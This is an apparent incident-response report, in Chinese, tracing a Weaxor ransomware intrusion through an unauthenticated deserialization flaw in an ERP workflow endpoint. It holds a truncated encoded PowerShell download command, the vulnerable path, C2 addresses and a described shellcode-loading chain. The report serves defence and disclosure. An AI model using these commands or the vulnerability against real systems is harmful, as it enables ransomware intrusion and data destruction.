
写在前面
本文首发于Solar应急响应团队-「州弟学安全」,转载请务必注明出处。
近期,公安部网安局在护网专项工作中发布提醒文章《护网专项工作 | 勒索病毒造成巨大损失,建议企业提高警惕! 》,文中明确点名Sorry、Weax两个勒索家族近期攻击十分活跃,制造、商贸、医疗、教育、科技等行业的企业接连中招。作为长期奋战在一线的应急响应团队,我们对这个提醒的感受比大多数人都要直接,因为我们就身处这些案例的现场。
Solar应急响应团队一直在持续跟进Weaxor勒索家族(Rox、Weax、Roxeaw)的攻击事件。六月底,我们发布了Weaxor与TellYouThePass两大家族借管家婆软件攻击国内中小企业的全链路复盘《【全网首发】Weax与Sorry勒索病毒席卷全国中小企业,深度还原全链路攻击,疑似黑客利用AI挖掘管家婆0day漏洞》;随后又发布了《【勒索预警】某ERP曝0day漏洞致Weax勒索病毒在国内爆发,波及资产近4万台(合并修订版)》。通过近几个月的分析,可以观察到该家族的明显变化,其突破口正在从HW期间曝光的1day、Nday漏洞转向真正的0day攻击,且漏洞武器化的速度显著加快,从软件公开可获取到漏洞投入实战的周期被压缩得极短。结合攻击基建的搭建方式与作案流程的熟练程度,基本可以确定有AI参与了前期攻击基建平台的搭建,其攻击手法与国内红队或专业安全人员高度相似。关于Weaxor家族的加密后缀、勒索信样式、加密后缀等更多细节,可以在应急响应.com上直接查询,此处不再展开。

应急响应.com平台Weaxor勒索家族特征查询,标注家族名称、加密后缀、勒索信样式等关键字段
截至目前,我们已经处置了多起0day攻击导致的勒索事件,相关案例的全流程复盘会在本账号陆续更新,感兴趣的读者可以点个关注,第一时间获取后续内容。
阅读说明
按照惯例,本文对受害企业名称、受害资产地址及ERP厂商名称做脱敏处理,涉及厂商标识的文件路径与命名空间已做部分遮蔽,配图中的敏感信息也已打码。下文将完整展示本次事件的溯源路径、代码审计过程与攻击闭环。需要提前说明的是,真实的溯源过程远没有文章呈现的这样顺利,我们在文末整理了处置过程中遇到的几个问题,供同行参考。

相关ERP在资产测绘平台通过指纹统计数量
一、攻击时间线还原
1.1 时区换算说明
被攻击的WEB应用日志使用UTC时区,Windows系统日志使用UTC+8本地时间。下文凡涉及WEB日志与系统日志对照之处,均按"WEB日志UTC时间加8小时等于本地时间"进行换算。以受害主站为例,页面时间与服务器本地时间相差8小时。

受害主站页面与服务器本地时间对照,WEB应用时区为UTC,与系统本地时间(UTC+8)相差8小时
1.2 初次存活试探(16:32:32,36.137.66.81)
2026年8月13日 16:32:32(本地时间,对应WEB日志UTC时间08:32:32),攻击者IP 36.137.66.81初次访问受害服务器9010端口工作流站进行存活试探。由于该ERP的认证机制,未登录请求被自动302跳转至9000端口主站登录页。

9010工作流站WEB访问日志,36.137.66.81初次访问,返回302跳转

威胁情报平台查询结果,36.137.66.81(中国 浙江杭州)
1.3 首次漏洞利用,SQLPS.exe拉取加密器被Defender拦截(18:29:49,36.137.66.70)
2026年8月13日 18:29:49(本地时间,对应WEB日志UTC时间10:29:49),攻击者IP 36.137.66.70以POST方式请求 /wf/appservice/BusinessObjectService/GetDictResult,响应时延2.78秒,明显长于正常业务请求,符合命令执行类载荷的响应特征。

9010工作流站WEB访问日志,36.137.66.70 POST GetDictResult,时延2.78秒

威胁情报平台查询结果,36.137.66.70(中国 浙江杭州)
与本次请求相对应,系统日志显示Windows Defender于2026年8月13日 18:29:48拦截并查杀了攻击者发起的恶意命令。攻击者调用 C:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\SQLPS.exe,以 -nop -w hidden -enc 方式运行加密命令,从远程服务器拉取加密器。Defender将其识别为 Trojan:Win32/Commando.A!ml,查杀时进程运行身份为 NT AUTHORITY\SYSTEM。
相关特征(Defender查杀日志原文,加密命令行过长,此处截断):
Microsoft Defender 防病毒 检测到恶意软件或其他可能不需要的软件。
名称: Trojan:Win32/Commando.A!ml
ID: 2147840094
严重性: 严重
类别: 特洛伊木马
路径: CmdLine:_C:\Program Files (x86)\Microsoft SQL Server\150\Tools\Binn\SQLPS.exe -nop -w hidden -enc RgB1AE4AYwB0AEkAbwBOACAAcQBIAHoAKAAkAHsAVQBoAH0ALAAkAHsARQBYAH0AKQB7AEYAbwBSACgAJABOAD0AMAA7ACQATgAgAC0AbAB0ACAAJAB7AFUAaAB9AC4AYwBvAHUATgB0ADsAJABOACsAKwApAHsAJAB7AFUAaAB9AFsAJABOAF0APQAoACQAewBVAGgAfQBbACQATgBdAC0AYgBYAG8AUgAkAHsARQBYAH0AKQB9AFIARQB0AHUAUgBOACAAWwBzAFkAcwB0AEUATQAuAHQARQBYAHQALgBFAE4AYwBvAGQASQBOAGcAXQA6ADoAYQBzAGMASQBJAC4AZwBFAHQAcwB0AFIASQBOAGcAKAAkAHsAVQBoAH0AKQB9ADsAJAB7AFoAUwBXAFAAfQA9ACgAJgBxAEgAegAoAFsAcwBZAHMAdABFAE0ALgBiAFkAdABFAFsAXQBdAEAAKAAwAHgANgAyACwAMAB4ADYARQAsADAAeAA3ADMALAAwAHgAQgAsADAAeAAzACwAMAAwAHgAMwA...(后略)
用户: NT AUTHORITY\SYSTEM

Windows Defender查杀事件详情(2026年8月13日 18:29:48,Trojan:Win32/Commando.A!ml,用户NT AUTHORITY\SYSTEM)
1.4 第二次漏洞利用,再次调用SQLPS.exe(18:41:52,36.137.66.31)
2026年8月13日 18:41:52(本地时间,对应WEB日志UTC时间10:41:52),攻击者IP 36.137.66.31再次以POST方式请求GetDictResult接口,时延0.534秒。

9010工作流站WEB访问日志,36.137.66.31 POST GetDictResult,时延0.534秒

威胁情报平台查询结果,36.137.66.31(中国 浙江杭州)
与本次请求相对应,系统日志显示Windows Defender于18:41:52再次查杀同类恶意命令,威胁名称、查杀特征与第一次完全一致。

Windows Defender第二次查杀事件详情(2026年8月13日 18:41:52,特征与首次一致)
这里值得防守方警惕。Defender连续两次查杀成功,但攻击并未停止,攻击者只是换了一种执行方式继续推进。告警被拦截不等于攻击被终结,如果两次高危查杀记录能在当时被运营人员看到并处置,后面的加密大概率可以避免。
1.5 第三次漏洞利用,创建PowerShell控制台(18:46:00,36.137.66.31)
2026年8月13日 18:46:00(本地时间,对应WEB日志UTC时间10:46:00),攻击者IP 36.137.66.31再次POST请求GetDictResult接口,时延0.055秒。

9010工作流站WEB访问日志,36.137.66.31 POST GetDictResult,时延0.055秒
与本次请求相对应,系统日志显示18:46:00通过会话创建了PowerShell控制台(进程PID 27824)。日志原文如下。
Windows PowerShell 已在 AppDomain: DefaultAppDomain 中的进程: 27824 上启动 IPC 侦听线程。
Powershell 控制台已准备好用于用户输入

PowerShell控制台启动事件(2026年8月13日 18:46:00,进程PID 27824)
1.6 第四次漏洞利用,注入ScriptBlock脚本内存加载远控载荷(19:03:33,36.137.66.108)
2026年8月13日 19:03:33(本地时间,对应WEB日志UTC时间11:03:33),攻击者IP 36.137.66.108再次POST请求GetDictResult接口,时延0.049秒。

9010工作流站WEB访问日志,36.137.66.108 POST GetDictResult,时延0.049秒

威胁情报平台查询结果:36.137.66.108(中国 浙江杭州)
与本次请求相对应,系统日志显示19:03:34至19:03:36通过会话创建了PowerShell控制台(进程PID 20452),并先后写入两段ScriptBlock脚本。第一段为多层混淆的PowerShell加载器,采用字符串拼接混淆加Base64解码加位移运算的组合手法。第二段通过GetProcAddress反射调用VirtualAlloc分配内存并执行shellcode,属于经典的内存注入手法。

ScriptBlock日志记录事件(2026年8月13日 19:03:34,进程PID 20452)

第一段ScriptBlock内容,字符串拼接混淆加Base64解码加位移运算的PowerShell加载器

第二段ScriptBlock内容,通过GetProcAddress与VirtualAlloc在内存中执行shellcode
经过分析,该脚本通过加密方式在内存中执行,功能为从远程C2服务器拉取加密器并在本地运行。以下为从脚本中还原的当时拉取加密器的C2地址(相关端口现已关闭)。
1.7 加密器落地执行,批量清除系统日志(19:04:08)
2026年8月13日 19:04:08,攻击者通过上述脚本自C2拉取加密器成功,加密器落地 C:\Windows\System32\DrUeCKfgv.exe 并执行。自19:04:08起,加密器开始批量清除Windows系统日志,破坏现场,对抗溯源。

系统日志清除事件记录,2026年8月13日 19:04:08起Windows事件日志被批量清除

文件列表显示,开始加密时间为2026年8月13日 19:04
1.8 收尾确认请求,应用已崩溃(19:08:59,36.134.184.90)
2026年8月13日 19:08:59(本地时间,对应WEB日志UTC时间11:08:59),攻击者IP 36.134.184.90再次POST请求GetDictResult接口,时延2.796秒。此时应用数据已被加密器加密,站点处于崩溃状态,该请求应为攻击者对加密结果的收尾确认。

9010工作流站WEB访问日志,36.134.184.90 POST GetDictResult,时延2.796秒(应用已崩溃)
经威胁情报查询,36.134.184.90在近期对互联网资产进行了大范围漏洞攻击。

威胁情报平台查询结果:36.134.184.90(中国 浙江杭州,存在大范围漏洞攻击记录)
1.9 攻击时间线总览
从初次试探到加密完成,全程不到三个小时,期间经历两次查杀拦截仍未中断。作案节奏干净利落,攻击者对整套流程已经非常熟练。
二、C2与域名基础设施分析
威胁情报平台将C2地址154.213.231.177标注为中国香港,归属动力线(香港)有限公司。

威胁情报平台查询结果,C2 IP 154.213.231.177(中国香港,动力线(香港)有限公司)
该C2同时关联解析域名 0adma9.9v5eqfc.cn、d3wxqn41twwyg6n7.0adma9.9v5eqfc.cn 等,均为主域名 9v5eqfc.cn 的子域名,该主域名未备案。经查询,域名注册商为成都垦派科技有限公司,域名注册邮箱为 dunkdd631@gmail.com。

威胁情报平台查询结果,域名9v5eqfc.cn及其子域名解析记录
经工商信息查询,成都垦派科技有限公司的主营业务即为域名注册。

成都垦派科技有限公司工商信息(主营业务包含域名注册服务,官网kenpai.com)
三、主站(9000端口)同步探测情况
在其它站点的WEB日志中,同样发现攻击者使用同一POC进行测试,目标为受害服务器9000端口主站。主站在未登录状态下对任意URL均返回302跳转登录页,攻击未能深入。逐条记录如下。
2026年8月13日 18:35:53(本地时间),IP 36.137.66.114以POST方式请求主站GetDictResult路径,时延0.036秒,返回302。

9000主站WEB访问日志,36.137.66.114 POST GetDictResult(302跳转登录页)

威胁情报平台查询结果:36.137.66.114(中国 浙江杭州)
2026年8月13日 18:42:17(本地时间),IP 36.137.66.108以POST方式请求主站GetDictResult路径,时延0.036秒,返回302。该IP曾于19:03:33对9010端口工作流站发起攻击并成功写入ScriptBlock(见本文1.6节),两处日志可相互印证。

9000主站WEB访问日志,36.137.66.108 POST GetDictResult(302跳转登录页)

36.137.66.108对9010工作流站的攻击日志(同图12,此处引用以作跨端口对照)
2026年8月13日 18:46:25(本地时间),IP 36.137.66.245以POST方式请求主站GetDictResult路径,时延0.037秒,返回302。

9000主站WEB访问日志,36.137.66.245 POST GetDictResult(302跳转登录页)

威胁情报平台查询结果,36.137.66.245(中国 浙江杭州)
2026年8月13日 19:12:35(本地时间),IP 36.137.66.249以POST方式请求主站GetDictResult路径,时延27.412秒,返回500,此时主站数据及源码已被加密,站点崩溃。

9000主站WEB访问日志,36.137.66.249 POST GetDictResult(500错误,时延27.412秒,站点已崩溃)
综合以上日志可以推断,攻击者疑似使用浙江杭州代理池IP段 36.137.66.* 与 36.134.184.*,对全网该ERP资产利用攻击载荷进行扫描。由于该ERP对外开放多个功能端口,且工作流站端口(本案为9010)并不固定,攻击者只能逐一扫描试探,在确认某目标的GetDictResult接口对攻击载荷有正确响应后,再通过加密命令从 154.213.231.177:10593 拉取加密器,对文件数据进行加密。
四、代码审计,漏洞为什么成立
4.1 审计前置,确认站点根目录
通过IIS站点配置确认,9010端口工作流站的物理根目录为 D:\Mt\MtWorkFlow60(厂商标识已遮蔽)。以下对攻击者载荷所触发的漏洞点进行代码审计。

IIS站点配置,9010端口工作流站物理路径指向厂商工作流安装目录
4.2 审计步骤1,路由入口,无扩展名URL进入.NET管线
路径导航为 web.config 的 system.webServer/handlers 节,关键配置位于第287行与第342行。

web.config第287行,MyWF.Extensions.ServiceHandlerFactory 处理器注册

web.config第342行,/wf/路径的处理器映射(ServiceHandlerFactory)
审计发现1:/wf/appservice/BusinessObjectService/GetDictResult 无文件扩展名,由 ServiceHandlerFactory 接管处理,请求由此进入ASP.NET管线。
4.3 审计步骤2,URL解析正则
路径导航至 MyWF.Extensions.dll的 UrlParser 类,关键代码如下。
internal static readonly Regex ServiceUrlRegex = new Regex(
"/(?<type>\\w+)/((?<namespace>[\\.\\w-]+)[/\\.])?(?<name>\\w+)/(?<method>\\w+)(?<extname>\\.[a-zA-Z]+)?",
RegexOptions.Compiled);

UrlParser类中ServiceUrlRegex正则的定义位置
审计发现2:URL被解析为 type=wf、namespace=appservice、name=BusinessObjectService、method=GetDictResult,扩展名为可选项。
4.4 审计步骤3,类定位,NamespaceMap映射
路径导航的第一跳是程序集特性。AssemblyInfo.cs中的NamespaceMap特性将程序集映射为URL命名空间AppService。

AssemblyInfo中的NamespaceMap特性,将程序集映射为URL命名空间AppService
第二跳是ControllerRecognizer.cs,根据URL前缀拼接命名空间与类名,定位服务类全名。

ControllerRecognizer,根据URL前缀拼接命名空间与类名,定位服务类全名
第三跳是ControllerResolver.cs的ActionIsMatch方法,无[Action]特性的方法默认放行,myAttribute为null时直接return true。

ActionIsMatch反编译代码,方法未标注[Action]特性时直接返回true(默认放行)
第四跳是etadataCache.cs,ActionFindBindingFlags取值为 Instance | Static | Public。
MetadataCache,方法查找范围BindingFlags限定为Instance、Static、Public
最终定位至 BusinessObjectService.GetDictResult。public方法加上无特性约束,即可被路由直接调用。
BusinessObjectService类中GetDictResult方法的最终定位
审计发现3:路由机制对无[Action]特性的public方法默认放行,且反射查找范围覆盖全部public实例与静态方法,GetDictResult因此成为可通过URL直接触达的入口方法。
4.5 审计步骤4,漏洞入口方法免认证可达
路径导航至 BusinessObjectService 的 GetDictResult 方法体。
GetDictResult方法体反编译代码,无任何登录态校验
审计发现4:漏洞成立的第一半。方法声明为public virtual,可被路由反射调用。方法体内无CheckLogin()调用,类上无[Authorize],方法上无[WFVerifyRight]。对比同文件其余数十个方法,几乎全部显式调用CheckLogin(),业务调用方有认证,作为辅助方法的GetDictResult没有,属漏网之鱼。方法体内不含任何SQL,这解释了为什么IIS日志中只见200状态码而不见SQL注入特征,漏洞利用发生在参数绑定阶段,早于方法体执行。
4.6 审计步骤5,参数绑定,TypeNameHandling.All(漏洞核心)
路径导航的第一跳是 ActionParametersProviderFactory.cs,按Content-Type选择参数反序列化器,application/json走CreateJsonProvider。
ActionParametersProviderFactory,按Content-Type选择参数反序列化器,application/json走CreateJsonProvider
第二跳跟进CreateJsonProvider,进入JsonnetDataProvider.cs。
JsonnetDataProvider,DefaultJsonSerializerSettings中TypeNameHandling等于All,GetDictResult为单参数,整个请求body被一次性反序列化
审计发现5:漏洞成立的第二半。攻击者完整控制JSON请求体。TypeNameHandling.All使字典值上的$type字段被服务端解析并实例化为任意类型。Dictionary<string, object>的value类型为object,正是$type生效的位置。同款配置在/api/框架的JsonnetDataProvider.cs第17行中同样存在。
4.7 审计步骤6,防护绕过分析,三层防护全部失效
路径导航至 Mysoft.Map.Core.dll的 WebSecurity 静态构造函数。
WebSecurity静态构造函数,SQL关键字检查仅覆盖.aspx、.ashx、.ajax扩展名,/wf/无扩展名路径不在检查范围内
审计发现6:三层防护层层落空,攻击载荷自进入参数绑定到完成反序列化实例化,全程未受任何拦截。
五、POC验证与攻击闭环
回读方式为 GET http://<目标>:9010/poc_ok.txt,返回 nt authority\network service。
工具实测,确认免认证可达与TypeNameHandling.All生效,systeminfo命令回显(主机名已脱敏,Windows Server 2019 Datacenter,云主机)
工具实测,whoami /priv回显,当前身份nt authority\network service,持有已启用的SeImpersonatePrivilege特权
至此,攻击路径全部闭环。攻击者利用该ERP工作流站GetDictResult未授权反序列化漏洞执行系统命令,进而执行加密器完成加密。
六、攻击者为何选择数据库程序SQLPS.exe拉取加密器
事实前提均已验证。w3wp工作进程为NETWORK SERVICE身份,令牌含已启用的SeImpersonatePrivilege。服务器装有SQL Server 2019,SQLPS.exe路径固定存在。Defender报告显示SQLPS运行身份为NT AUTHORITY\SYSTEM。SQL Server服务账号为NT Service\MSSQLSERVER,并非SYSTEM。ERRORLOG(审核策略为仅失败)在攻击时段无sp_configure与xp_cmdshell开关记录,且8月13日 06:09之后再无任何记录。
选择SQLPS.exe的理由如下:
第一:规避针对powershell.exe的检测。企业侧PowerShell监控(命令行审计规则、进程名告警、运维人工排查)绝大多数以powershell.exe为目标。SQLPS.exe是SQL Server自带的备用PowerShell宿主,同样基于System.Management.Automation引擎,支持 -nop -w hidden -enc 参数,不在常见告警名单内。本次Defender也是依靠机器学习模型检出(威胁名带!ml后缀),而非进程名规则命中。
第二:环境伪装。在数据库服务器上,"SQL工具运行PowerShell"对任何快速浏览进程列表的分析者都显得正常,进程名本身就是保护色。
第三:SYSTEM身份的来源与SQL无关。NT Service\MSSQLSERVER不是SYSTEM。若SQLPS经xp_cmdshell拉起,其运行身份应为SQL服务账号而非SYSTEM。Defender报告的SYSTEM身份与xp_cmdshell路线矛盾,而与"Web层提权后直接执行"的路线吻合。
七、溯源过程中遇到的问题
正如开头所说,本次溯源远没有文章呈现的这样顺利。以下问题整理出来供同行参考,问题用引用块标出,后面是我们的分析与想法。
问题一 排查方向并非一开始就指向反序列化
在事件日志中,我们先发现的是攻击者调用SQL相关程序,一开始认为是SQL注入,因为无论怎么看都像是使用xp_cmdshell进行攻击的。攻击者为什么会在一个反序列化漏洞的场景里调用SQL程序?
我们的分析是这样的。结合对外映射端口以及数据库errlog排查后发现,数据库端口并未对外开放,SQL注入的路在入口侧就不成立。转而排查WEB相关日志及源码,发现相关路由中并无SQL查询点,进一步审计才确认存在确凿的反序列化攻击点。至于攻击者为什么调用SQL程序,第六节的结论可以解释,SQLPS.exe被选中是为了规避针对powershell.exe的检测,同时借数据库进程的身份做伪装。除此之外也不排除攻击者有意留下误导性痕迹,诱导溯源人员往SQL注入方向排查,拖延定位真实漏洞点的时间。这起案例给我们的提醒是,看到SQL程序被调用不等于攻击入口就是SQL注入,进程层面的证据要与入口层面的证据分开看。
问题二 WEB日志的时差问题
在溯源的过程中,WEB日志与事件日志的时间始终无法对应,排查一度陷入混乱。
原因在于IIS日志默认使用UTC时间,与本地事件日志对照时需要按UTC+8换算,这属于基础知识点,但在高压的应急现场很容易被忽略,一旦忽略,所有基于时间线的交叉印证都会错位。建议同行在进场取证的第一步就确认各日志源的时区设置。
问题三 现场信息同步不及时
在后续漏洞复现时,攻击载荷发送出去以后页面直接返回404,不管怎么调整都复现不了。
排查applicationHost.config后发现,被攻击的路由已被加入denyUrlSequences拒绝序列。
applicationHost.config检索结果,服务器级denyUrlSequences中已加入 /wf/appservice/BusinessObjectService/GetDictResult 路径
回溯该配置文件,其最后修改时间为2026年8月14日 08:40,即勒索事件发生后的次日早上。
服务器取证,applicationHost.config最后修改时间为2026年8月14日 08:40,inetsrv\Config目录留存有历史配置备份
查询当日登录日志确认,IP 120.192..(山东济南)于2026年8月14日 08:39:20远程登录服务器成功(管理员账号)。
远程桌面登录日志,2026年8月14日 08:39:20,来源IP 120.192..(山东济南),管理员用户
经与该ERP官方运维人员核实,对方告知8月13日晚间发现服务器异常,13日夜间至14日凌晨开展紧急排查,14日早上实施了应急处理,处理内容即为配置上述URL拒绝序列,相当于对漏洞做了临时修复。
这一处置本身没有问题,问题在于没有同步给我们。信息同步不及时,直接导致大量时间浪费在核实一条已经被封死的路由上。建议应急进场后的第一项确认工作,就是问清楚在我们接手之前,现场已经做过哪些处置动作。
问题四 攻击者为什么要用国内代理IP
该家族以往均使用海外IP发起攻击,从本案开始改用国内代理池IP,有些人可能会觉得这太狂了,攻击者的动机是什么?
经过进一步核实,相关IP均为代理池IP。我们判断最大的可能原因有以下几点。
第一:越来越多的企业在边界设备和云WAF上启用了境外IP封禁或地域访问控制,该家族以往惯用的海外IP根本打不进来,改用国内IP是最直接的绕过方式。
第二:国内代理池IP在威胁情报库中大多标记干净,信誉评分高,可以绕过基于情报的封禁策略。
第三:代理池按量计费、秒级更换,即便单个IP被加黑也能立刻切换,防守方的封禁成本被大幅抬高。
第四:国内到国内的访问延迟低、链路稳定,漏洞利用的成功率更高。
第五:代理池切断了攻击者的真实出口,溯源只能看到代理节点,归因和取证难度显著增加。这种"借道国内打国内"的变化值得所有防守方警惕,单纯封禁境外IP的策略已经不够用了。
问题五 日志被批量清除后的取证窗口
加密器落地后立即批量清除系统日志,现场取证面临日志断档,时间线还能不能还原?
能,但要换思路。本案的时间线是依靠多源数据交叉印证补齐的,包括Defender查杀记录、PowerShell ScriptBlock日志、IIS的WEB访问日志、文件时间戳,以及applicationHost.config的修改时间。攻击者能清掉事件日志,但很难把所有数据源同时清干净。经验是日志被清除不等于无法溯源,关键在于知道哪些数据源攻击者清不掉,并在第一时间把这些残留证据固定下来。
八、IOC清单与防护建议
8.1 攻击源IP(均为中国浙江杭州,代理池)
36.137.66.31、36.137.66.70、36.137.66.81、36.137.66.108、36.137.66.114、36.137.66.245、36.137.66.249、36.134.184.90
提醒各企业安全团队,建议直接加黑 36.137.66.0/24 与 36.134.184.0/24 两个网段。经核实,这两个网段内IP几乎全部为代理池地址,正常业务来自该网段的概率极低,加黑的误伤风险可控。
8.2 C2基础设施
8.3 主机侧痕迹
8.4 防护建议
部署同类ERP系统的企业,立即排查自身是否存在工作流站等附属端口直接对公网开放的情况,非必要不暴露,必须暴露的加访问控制。 将上述IP网段、C2地址、域名加入边界设备与DNS防护的黑名单,并回溯历史日志确认是否已有扫描或利用记录。 检查服务器上是否存在 DrUeCKfgv.exe 及 SQLPS.exe 的异常调用记录,开启PowerShell ScriptBlock日志记录,本案的关键证据正是来自这项日志。 安全告警必须有人处置。本案中Defender两次查杀成功,攻击者换个执行方式继续推进,最终仍然完成了加密。有告警无处置,等于没有告警。 建立完善的信息同步机制。应急进场后,第一时间确认现场已实施的处置动作,避免在已被封堵的路径上重复投入。 思而听防勒索 AI 疫苗(SAR)目前已支持 Weaxor 家族的密钥捕获。SAR 的核心思路是在勒索软件启动加密行为的瞬间,从内存中捕获加密密钥并留存,让数据恢复不必完全依赖攻击者“守信”。截至 2026 年上半年,SAR 已支持 69 个勒索家族、87 种加密后缀的密钥捕获,累计输出 47 份专项解密方案。
SAR捕获勒索家族密钥的后台日志(示意图)
Solar勒索解密工具使用捕获的密钥完成恢复,6个被加密文件全部解密成功
文章撰写与优化:州弟学安全
参与应急人员:州弟学安全、月华
排版优化:超级油麦
在企业日常的安全运维中,突发勒索病毒往往让人措手不及。遇到这种情况,正确的应急响应流程能够最大程度控制影响范围、降低数据损失。
这里为大家准备了一张完整的《勒索病毒应急处置指南》长图,建议各位安全从业者和IT运维人员收藏备用。如遇突发情况,请保持冷静,参考本图进行快速、规范的处置
附加资料下载: 防御与响应同样重要。扫描图末的二维码,还可以直接获取完整的《2025年勒索病毒年报》、《2026年勒索病毒上半年报》以及《勒索处置一体化》等专业文件,帮助大家深入了解当前的威胁趋势,提前做好防御规划。
安全无小事,掌握科学的处置流程,是我们应对突发安全事件最有效的武器。
相关文章 | |
相关文章 | |
| 【教程分享】勒索病毒来袭!教你如何做好数据防护 | |
案例介绍篇聚焦于真实的攻击事件,还原病毒家族的攻击路径和策略,为用户提供详细的溯源分析和防护启示;
相关文章 | |
| 【案例介绍】赎金提高,防御失效:某上市企业两年内两度陷入同一勒索团伙之手 | |
| 【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目 | |
| 【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目 | |
| 【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目 | |
| 【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目 | |
| 【成功案例】RDP暴露引发的蝴蝶效应:LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵 | |
| 【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告 | |
相关文章 | |
相关文章 | |
| 【应急响应工具教程】取证工具-Volatility安装与使用 | |
| 【应急响应工具教程】流量嗅探工具-Tcpdump | |
| 【应急响应工具教程】一款精准搜索文件夹内容的工具--FileSeek | |
| 【应急响应工具教程】一款自动化分析网络安全应急响应工具--FindAll | |
全国热线| 400-613-6816
更多资讯| 扫码加入群组交流